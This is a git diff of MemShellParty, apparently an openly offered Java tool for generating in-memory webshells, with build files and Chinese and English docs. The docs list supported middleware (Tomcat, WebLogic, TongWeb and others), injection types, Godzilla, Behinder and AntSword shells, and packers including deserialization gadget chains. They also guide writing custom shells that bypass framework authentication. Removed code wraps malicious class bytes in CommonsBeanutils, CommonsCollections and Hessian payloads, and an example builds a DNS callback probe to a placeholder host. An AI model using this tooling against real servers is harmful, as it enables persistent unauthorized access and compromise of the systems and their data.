public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, String packResult) {
this.probeShellResult = probeShellResult;
this.packResult = packResult;
}
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, Map<String, String> allPackResults) {
this.allPackResults = allPackResults;
this.probeShellResult = probeShellResult;
}
}
@@ -0,0 +1,16 @@
package com.reajason.javaweb.boot.vo;
import com.reajason.javaweb.memshell.config.CommandConfig;
import lombok.Data;
import java.util.List;
/**
* @author ReaJason
* @since 2025/5/25
*/
@Data
public class CommandConfigVO {
private List<CommandConfig.Encryptor> encryptors;
private List<CommandConfig.ImplementationClass> implementationClasses;
}
+11
View File
@@ -0,0 +1,11 @@
plugins {
`kotlin-dsl`
}
repositories {
mavenCentral()
}
dependencies {
implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0")
}
+1
View File
@@ -0,0 +1 @@
rootProject.name = "build-logic"
@@ -0,0 +1,38 @@
plugins {
id("com.vanniktech.maven.publish")
}
mavenPublishing {
publishToMavenCentral(true)
signAllPublications()
coordinates(
"io.github.reajason",
project.name,
rootProject.version as String
)
pom {
name.set("MemShellParty")
description.set(project.description)
url.set("https://github.com/ReaJason/MemShellParty")
inceptionYear.set("2025")
licenses {
license {
name.set("MIT")
url.set("https://spdx.org/licenses/MIT.html")
}
}
developers {
developer {
id.set("reajason")
name.set("ReaJason")
url.set("https://reajason.eu.org")
}
}
scm {
connection.set("scm:git:https://github.com/ReaJason/MemShellParty.git")
developerConnection.set("scm:git:ssh://github.com/ReaJason/MemShellParty.git")
url.set("https://github.com/ReaJason/MemShellParty")
}
}
}
-119
View File
@@ -1,119 +0,0 @@
import com.vanniktech.maven.publish.SonatypeHost
version = '1.8.0'
buildscript {
repositories {
mavenCentral()
gradlePluginPortal()
}
dependencies {
classpath 'com.vanniktech:gradle-maven-publish-plugin:0.31.0'
classpath "io.freefair.lombok:io.freefair.lombok.gradle.plugin:8.13.1"
}
}
allprojects {
group = 'io.github.reajason'
if (it.name != 'memshell-party-bom') {
apply(plugin: 'java')
apply(plugin: 'idea')
apply(plugin: 'jacoco')
apply(plugin: 'io.freefair.lombok')
}
apply(plugin: 'com.vanniktech.maven.publish')
mavenPublishing {
publishToMavenCentral(SonatypeHost.CENTRAL_PORTAL)
signAllPublications()
coordinates("io.github.reajason", project.name, rootProject.version as String)
pom {
name = 'MemShellParty'
description = project.description
url = 'https://github.com/ReaJason/MemShellParty'
inceptionYear = '2025'
licenses {
license {
name = 'MIT'
url = 'https://spdx.org/licenses/MIT.html'
}
}
developers {
developer {
id = 'reajason'
name = 'ReaJason'
url = "https://reajason.eu.org"
}
}
scm {
connection = 'scm:git:https://github.com/ReaJason/MemShellParty.git'
developerConnection = 'scm:git:ssh://github.com/ReaJason/MemShellParty.git'
url = 'https://github.com/ReaJason/MemShellParty'
}
}
}
if (it.name != 'memshell-party-bom' && !it.name.startsWith("vul")) {
dependencies {
implementation platform(project(':memshell-party-bom'))
}
}
repositories {
mavenCentral()
}
}
idea {
module {
excludeDirs += file('src')
}
}
jacocoTestReport {
reports {
xml.required = true
csv.required = true
html.required = true
}
afterEvaluate {
executionData.from fileTree(rootDir) {
include '**/build/jacoco/**/*.exec'
}
sourceDirectories = files('generator/src/main/java')
classDirectories.from(
fileTree('generator/build/classes/java/main') {
excludes = [
'com/reajason/javaweb/memshell/**/godzilla/**',
'com/reajason/javaweb/memshell/**/injector/**',
'com/reajason/javaweb/memshell/**/command/**',
'com/reajason/javaweb/config/**'
]
}
)
}
}
tasks.register('publishAllToMavenCentral') {
def isSnapshot = rootProject.version.toString().endsWith('-SNAPSHOT')
if (isSnapshot) {
dependsOn ':memshell-party-bom:publishAllPublicationsToMavenCentralRepository'
dependsOn ':memshell-party-common:publishAllPublicationsToMavenCentralRepository'
dependsOn ':deserialize:publishAllPublicationsToMavenCentralRepository'
dependsOn ':memshell:publishAllPublicationsToMavenCentralRepository'
dependsOn ':memshell-java8:publishAllPublicationsToMavenCentralRepository'
dependsOn ':generator:publishAllPublicationsToMavenCentralRepository'
} else {
dependsOn ':memshell-party-bom:publishAndReleaseToMavenCentral'
dependsOn ':memshell-party-common:publishAndReleaseToMavenCentral'
dependsOn ':deserialize:publishAndReleaseToMavenCentral'
dependsOn ':memshell:publishAndReleaseToMavenCentral'
dependsOn ':memshell-java8:publishAndReleaseToMavenCentral'
dependsOn ':generator:publishAndReleaseToMavenCentral'
}
}
+18
View File
@@ -0,0 +1,18 @@
plugins {
id("java")
id("idea")
}
idea {
module {
excludeDirs.add(file("src"))
}
}
version = "2.0.0"
tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral")
dependsOn(":packer:publishToMavenCentral")
dependsOn(":generator:publishToMavenCentral")
}
-28
View File
@@ -1,28 +0,0 @@
group = 'io.github.reajason'
description = "Java deserialize payload for MemShellParty"
version = rootProject.version
dependencies {
implementation project(":memshell-party-common")
implementation 'net.bytebuddy:byte-buddy'
implementation 'com.caucho:hessian:4.0.66'
implementation 'commons-beanutils:commons-beanutils:1.9.2'
implementation 'commons-collections:commons-collections:3.2.1'
implementation 'org.apache.commons:commons-collections4:4.0'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
test {
useJUnitPlatform()
}
@@ -1,12 +0,0 @@
package com.reajason.javaweb.deserialize;
import lombok.Data;
/**
* @author ReaJason
* @since 2024/12/13
*/
@Data
public class DeserializeConfig {
private PayloadType payloadType;
}
@@ -1,24 +0,0 @@
package com.reajason.javaweb.deserialize;
import com.caucho.hessian.io.Hessian2Output;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class Hessian2DeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes, className);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(bos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(obj);
hessian2Output.close();
return bos.toByteArray();
}
}
@@ -1,24 +0,0 @@
package com.reajason.javaweb.deserialize;
import com.caucho.hessian.io.HessianOutput;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class HessianDeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes, className);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(bos);
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(obj);
hessianOutput.close();
return bos.toByteArray();
}
}
@@ -1,25 +0,0 @@
package com.reajason.javaweb.deserialize;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class JavaDeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.flush();
oos.close();
return baos.toByteArray();
}
}
@@ -1,28 +0,0 @@
package com.reajason.javaweb.deserialize;
/**
* @author ReaJason
* @since 2024/12/13
*/
public interface Payload {
/**
* 将恶意类字节流封装成序列化对象
*
* @param bytes 恶意类字节流
* @return 序列化对象
*/
default Object generate(byte[] bytes) {
throw new UnsupportedOperationException();
}
/**
* 将恶意类字节流封装成序列化对象
*
* @param bytes 恶意类字节流
* @param className 恶意类名
* @return 序列化对象
*/
default Object generate(byte[] bytes, String className) {
throw new UnsupportedOperationException();
}
}
@@ -1,47 +0,0 @@
package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
import com.reajason.javaweb.deserialize.payload.java.*;
import lombok.Getter;
/**
* @author ReaJason
* @since 2024/12/13
*/
@Getter
public enum PayloadType {
/**
* CB 链
*/
CommonsBeanutils16(new CommonsBeanutils16()),
CommonsBeanutils18(new CommonsBeanutils18()),
CommonsBeanutils19(new CommonsBeanutils19()),
CommonsBeanutils110(new CommonsBeanutils110()),
/**
* CC 链
*/
CommonsCollections3(new CommonCollections3()),
CommonsCollections4(new CommonCollections4()),
/**
* Hessian XSLT write
*/
XSLTScriptEngine(new XSLTScriptEngine())
;
private final Payload payload;
PayloadType(Payload payload) {
this.payload = payload;
}
public static PayloadType getPayloadType(String payloadType) {
for (PayloadType value : values()) {
if (value.name().equals(payloadType)) {
return value;
}
}
throw new IllegalArgumentException("unknown payload type: " + payloadType);
}
}
+106
View File
@@ -0,0 +1,106 @@
## 本地构建
### 源代码构建
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
1. 使用 Git Clone 项目
```bash
git clone https://github.com/ReaJason/MemShellParty.git
```
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
```bash
cd MemShellParty/web
bun install
bun run build
```
3. 构建后端项目,确保使用 JDK17 环境
```bash
cd MemShellParty/boot
./gradlew :boot:bootjar -x test
```
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
```bash
cd MemShellParty/boot
java -jar \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
build/libs/boot-1.0.0.jar
```
也可这基础上再继续构建容器来使用
```bash
cd MemShellParty/boot
docker buildx build -t memshell-party:latest . --load
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
```
### Dockerfile 一键构建
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44)
下载项目根目录的 [Dockerfile](./Dockerfile)
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
- ROUTE_ROOT_PATH: 前端根路由配置
- CONTEXT_PATH: 后端访问前缀
```bash
# 基础构建
docker buildx build \
--build-arg VERSION=1.6.0 \
-t memshell-party:latest . --load
# 基础镜像启动,访问 127.0.0.1:8080
docker run -it -d -p 8080:8080 memshell-party:latest
# 自定义访问路径构建
docker buildx build \
--build-arg VERSION=1.6.0 \
--build-arg ROUTE_ROOT_PATH=/memshell-party \
--build-arg CONTEXT_PATH=/memshell-party \
-t memshell-party:latest . --load
# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party
docker run -it -p 8080:8080 \
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
memshell-party:latest
```
如果需要使用 NGINX 反代,请先使用自定义访问路径构建容器,并配置 NGINX 如下:
其中 `location /memshell-party``ROUTE_ROOT_PATH=/memshell-party``CONTEXT_PATH=/memshell-party`
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。
```text
location /memshell-party {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-By $server_addr:$server_port;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_http_version 1.1;
proxy_connect_timeout 3s;
proxy_read_timeout 300s;
proxy_send_timeout 300s;
proxy_buffer_size 16k;
proxy_buffers 8 64k;
proxy_busy_buffers_size 128k;
}
```
+84
View File
@@ -0,0 +1,84 @@
## 适配情况
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
### 中间件以及框架
| Tomcat5 ~ 11 | Jetty6 ~ 11 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|----------------------|------------------------|----------------------|----------------------|
| Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| ProxyValve | | | |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |
| Resin3 ~ 4 | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | |
| JBossAS4 ~ 7 | JBossEAP6 ~ 7 | WildFly9 ~ 30 | Undertow |
|----------------------|----------------------------|------------------------|------------------------|
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| ProxyValve | | | |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
| WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|-----------------------|-------------------------|
| Servlet | Servlet |
| Filter | Filter |
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 8 | InforSuite AS 9 ~ 10 |
|----------------------|----------------------|------------------------|
| Filter | Filter | Filter |
| Listener | Listener | Listener |
| Valve | Valve | Valve |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
| Apusic AS 9 ~ 10 | Primeton6.5 |
|---------------------|----------------------|
| Servlet | Filter |
| Filter | Listener |
| Listener | Valve |
| FilterChain - Agent | FilterChain - Agent |
| | ContextValve - Agent |
### 内存马功能
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
- [x] 命令执行
- [x] [Suo5](https://github.com/zema1/suo5)
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
- [x] Custom
### 封装方式
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] 内置脚本引擎、Rhino 脚本引擎
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] 原生反序列化(CB 和 CC 链)
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian、Hessian2 反序列化(XSLT链)
- [ ] JNDI
- [ ] JDBC 连接
- [ ] 其他常见反序列化
+17 -7
View File
@@ -185,6 +185,7 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
| Filter | Filter | Listener | Listener | | Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve | | Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent | | Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| ProxyValve | | | |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent | | FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | | | ContextValve - Agent | | | |
@@ -200,6 +201,7 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
| Filter | Filter | Servlet | Servlet | | Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter | | Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener | | Valve | Valve(6) | Listener | Listener |
| ProxyValve | | | |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent | | FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | | | ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | | | | ServletHandler - Agent (7) | | |
@@ -211,13 +213,21 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
| Listener | Listener | | Listener | Listener |
| FilterManager - Agent | ServletContext - Agent | | FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 7 | InforSuite AS 9 ~ 10 | Apusic AS 9 | Primeton6.5 | | BES9.5.x | TongWeb6 ~ 8 | InforSuite AS 9 ~ 10 |
|----------------------|----------------------|------------------------|---------------|----------------------| |----------------------|----------------------|------------------------|
| Filter | Filter | Filter | Servlet | Filter | | Filter | Filter | Filter |
| Listener | Listener | Listener | Filter | Listener | | Listener | Listener | Listener |
| Valve | Valve | Valve | Listener | Valve | | Valve | Valve | Valve |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | | FilterChain - Agent | | FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | | ContextValve - Agent | | ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
| Apusic AS 9 ~ 10 | Primeton6.5 |
|---------------------|----------------------|
| Servlet | Filter |
| Filter | Listener |
| Listener | Valve |
| FilterChain - Agent | FilterChain - Agent |
| | ContextValve - Agent |
### MemShell Functionality ### MemShell Functionality
+130
View File
@@ -0,0 +1,130 @@
# Java 服务简介
以下服务仅我个人遇到的一些场景,与实际攻防场景可能仍有差距,但是在 MemShellParty
中可用于参考进行内存马生成。个别其他服务还请自行辨别其服务类型。如果有其他环境补充,欢迎 PR 交流学习~
## Tomcat
> https://tomcat.apache.org/
Tomcat 使用的是自己 Catalina 模块提供的 Servlets 实现,限制较少,在 MemShellParty 中,服务类型选 Tomcat 即可生成 Tomcat
内存马。
一般而言,SpringWebMVC 项目大多使用 Tomcat 提供 Servlets 容器功能,比如 Nacos,这种情况下可以选择 Tomcat 内存马注入。
其他服务中,致远 OA、Confluence、帆软使用的是 Tomcat。
## Jetty
> https://jetty.org/
Jetty6 版本使用的包名为 `org.mortbay.jetty`,而 7 以上使用的是 `org.eclipse.jetty`,在测试最新的 Jenkins 时,发现 Jetty11+
版本支持 ee8 ~ ee10 的环境,包名对应的是 `org.eclipse.jetty.ee8`,这些在 MemShellParty 中均已支持,因此服务类型选 Jetty
即可生成 Jetty 内存马。
在 SpringWebMVC 项目中也是有可能使用的。
## JBoss
> JBossAS: https://jbossas.jboss.org/downloads
> JBossEAP: https://developers.redhat.com/products/eap/download
JBoss 分为 JBossAS 和 JBossEAPJBossAS 全版本和 JBossEAP6 使用的 Catalina 模块提供的 Servlets 实现,JBossEAP7 及其以上使用的
[Undertow](https://undertow.io/) 提供的 Servlets 实现。
因此 JBossAS 4~7 以及 JBossEAP6 服务类型选择 JBoss 进行内存马的生成,而 JBossEAP7 服务类型需要选择
Undertow 进行内存马的生成。
## Wildfly
> https://www.wildfly.org/
Wildfly 使用的 [Undertow](https://undertow.io/) 提供的 Servlets 实现,因此服务类型选择 Undertow 生成内存马
## GlassFish
> https://glassfish.org/
GlassFish 使用的是 Catalina 提供的 Servlets 实现,但是使用了 OSGI 类加载模式,因此类限制较为严重,在 MemShellParty 中,服务类型选择
GlassFish 进行内存马的生成。
## Payara
> https://www.payara.fish/downloads/
基于 GlassFish 开发,服务类型选择 GlassFish 进行内存马的生成。
## Resin
> https://caucho.com/products/resin/download
Resin 使用的包名为 `com.caucho.`,服务类型选择 Resin 进行内存马的生成。
泛微 OA 使用的就是 Resin 提供的服务。
## WebLogic
> https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
WebLogic 使用的包名为 `weblogic.`,服务类型选择 WebLogic 进行内存马的生成。
## WebSphere
> https://www.ibm.com/products/websphere-application-server
WebSphere 是 IBM 研发的商用 Servlets 容器,开源版本为 Websphere liberty
包名为 `com.ibm.`,服务类型选择 WebSphere 进行内存马的生成。
## BES
> https://www.bessystem.com/
BES 宝兰德,其基于 Tomcat 进行二开,在 BES 9.5.1 版本中没有进行包名修改,而在 BES 9.5.2
版本之后包名修改为了 `com.bes.enterprise.`。因此 BES 9.5.1 版本,服务类型选择 Tomcat 进行内存马的生成,BES 9.5.2+ 服务类型选择
BES 进行内存马的生成。
## TongWeb
> https://www.tongtech.com/sy.html
TongWeb 东方通,其基于 Tomcat 进行二开,并且在最初的 6 版本就进行了包名修改,每个版本都进行了修改。
- TongWeb6: `com.tongweb.web.thor.`
- TongWeb7: `com.tongweb.catalina.`
- TongWeb8: `com.tongweb.server.`
这三个版本在 MemShellParty 中均有适配,服务类型选择 TongWeb 进行内存马的生成。
## Apusic
> https://www.apusic.com/
金蝶中间件,Apusic9 疑似魔改自 GlassFish,不过改得面目全非了,自 Apusic10 开始使用原版 GlassFish 进行二开。因此 Apusic9
版本服务类型选择
Apusic 进行内存马生成,Apusic10 版本选择 GlassFish 进行内存马生成。
## Primeton
> https://www.primeton.com/products/pas/
普元中间件,Primeton6.5 版本基于 GlassFish
二开,高版本疑似做了包名修改,但没有环境,因此暂未适配([#60](https://github.com/ReaJason/MemShellParty/issues/60))因此当前仅支持
Primeton6.5 版本,服务类型选择 GlassFish 进行内存马生成。
## InforSuite
中创中间件,InforSuite 基于 GlassFish 进行二开,不过因为 InforSuite10 版本针对 filterConfigs 字段做了手脚改成了
iasFilterConfigs 因此 Filter 注入单独进行了适配。服务类型选择 InforSuite 进行内存马注入。
## SpringWebMVC
Spring 框架,默认的 MVC 架构,官方 Servlets 容器实现可选 Tomcat、Jetty 与 Undertow,也可打包成 war 包部署于任意 Servlets
容器上。内存马注入场景下不推荐框架内存马,而是具体的 Servlets 容器内存马,因为可绕过框架的限制(鉴权或其他)。服务类型选择
SpringWebMVC 进行内存马生成。
## SpringWebFlux
Spring Boot 项目中基于 reactor 异步 IO 模型的服务组件,底层使用的 Netty,一般常见于各种 SpringCloud 项目,例如网关。服务类型选择
SpringWebFlux 进行内存马生成。
+54
View File
@@ -0,0 +1,54 @@
## 如何使用自定义内存马功能
MemShellParty 参考 JMG 使用注入器和内存马分离的方式进行的内存马注入,注入的伪代码如下:
```java
Object context = getContext();
Object shell = defineClass(getShellBase64Str());
inject(context, shell);
```
自定义内存马就是开放 getShellBase64Str 的修改,通过生成界面传入内存马的 base64 或 class 文件来实现。
注入器的选择,在通过生成界面选完目标服务和挂载类型就已经确认好了,无法自定义。
### 实现参考
1. Servlets 相关内存马使用 javax.servlet 即可,当挂载类型选为 Jakarta 开头,在生成时会自动将 javax 改为
jakarta,无须重复实现。
2. Listener 内存马生成时,通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest
方法上,因此推荐按参考实现一样使用空实现。
3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可,当选中 BES/TongWeb 等会自动改为其特有的包名前缀,无须重复实现。
4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类,因为 Agent
内存马类会放进所增强类的 ClassLoader 中,部分中间件会存在模块隔离,无法直接使用部分类,例如 `java.util.Base64`
`javax.crypto.Cipher`
| 挂载类型 | 参考实现 |
|----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) |
| Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) |
| Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) |
| Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) |
| ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) |
| (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) |
| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) |
| (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) |
| (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) |
| (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) |
| NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) |
| AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) |
| (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
### 参考步骤
1. 执行 `git clone https://github.com/ReaJason/MemShellParty.git` 下载当前项目到本地
2. 在 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool 创建 custom 目录进行自定义内存马的编写
3. 执行 `./gradlew :memshell:compileJava``.\gradlew.bat :memshell:compileJava`
4. 在 memshell/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件
5. 在生成界面,选择目标服务 - Custom - 挂载类型,上传 class 文件,选择打包方式并生成
+20 -1
View File
@@ -18,8 +18,27 @@
<dependency> <dependency>
<groupId>io.github.reajason</groupId> <groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId> <artifactId>generator</artifactId>
<version>1.0.4</version> <version>2.0.0-SNAPSHOT</version>
</dependency>
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>packer</artifactId>
<version>2.0.0-SNAPSHOT</version>
</dependency> </dependency>
</dependencies> </dependencies>
<!-- 使用 SNAPSHOT 版本,才需要下面这块 -->
<repositories>
<repository>
<name>Central Portal Snapshots</name>
<id>central-portal-snapshots</id>
<url>https://central.sonatype.com/repository/maven-snapshots/</url>
<releases>
<enabled>false</enabled>
</releases>
<snapshots>
<enabled>true</enabled>
</snapshots>
</repository>
</repositories>
</project> </project>
@@ -0,0 +1,32 @@
package com.reajason.javaweb;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.ProbeMethod;
import com.reajason.javaweb.probe.ProbeShellGenerator;
import com.reajason.javaweb.probe.ProbeShellResult;
import com.reajason.javaweb.probe.config.DnsLogConfig;
import com.reajason.javaweb.probe.config.ProbeConfig;
/**
* @author ReaJason
* @since 2025/8/13
*/
public class DnsLogProbe {
public static void main(String[] args) {
ProbeConfig probeConfig = ProbeConfig.builder()
.probeMethod(ProbeMethod.DNSLog)
.probeContent(ProbeContent.Server) // 暂只支持 Server 和 JDK
.shrink(true)
.debug(false)
.build();
DnsLogConfig dnsLogConfig = DnsLogConfig.builder()
.host("xxx.dns.log")
.build();
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, dnsLogConfig);
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
}
}
@@ -1,10 +1,14 @@
package com.reajason.javaweb; package com.reajason.javaweb;
import com.reajason.javaweb.memshell.*; import com.reajason.javaweb.Server;
import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.memshell.config.GodzillaConfig;
